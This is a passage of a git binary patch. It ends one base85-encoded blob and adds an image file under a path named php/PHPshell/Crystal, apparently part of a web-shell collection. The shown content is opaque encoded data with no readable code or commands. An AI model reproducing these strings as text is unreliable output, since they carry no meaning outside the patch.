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 rkx?8!(t1{=KU~N+IQZ3+1WDb8JVD literal 0 HcmV?d00001 diff --git a/php/PHPshell/Crystal/Crystal.jpg b/php/PHPshell/Crystal/Crystal.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0edfe59453560c29bdd67bdc4b8776022c7b3d61 GIT binary patch literal 68289 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 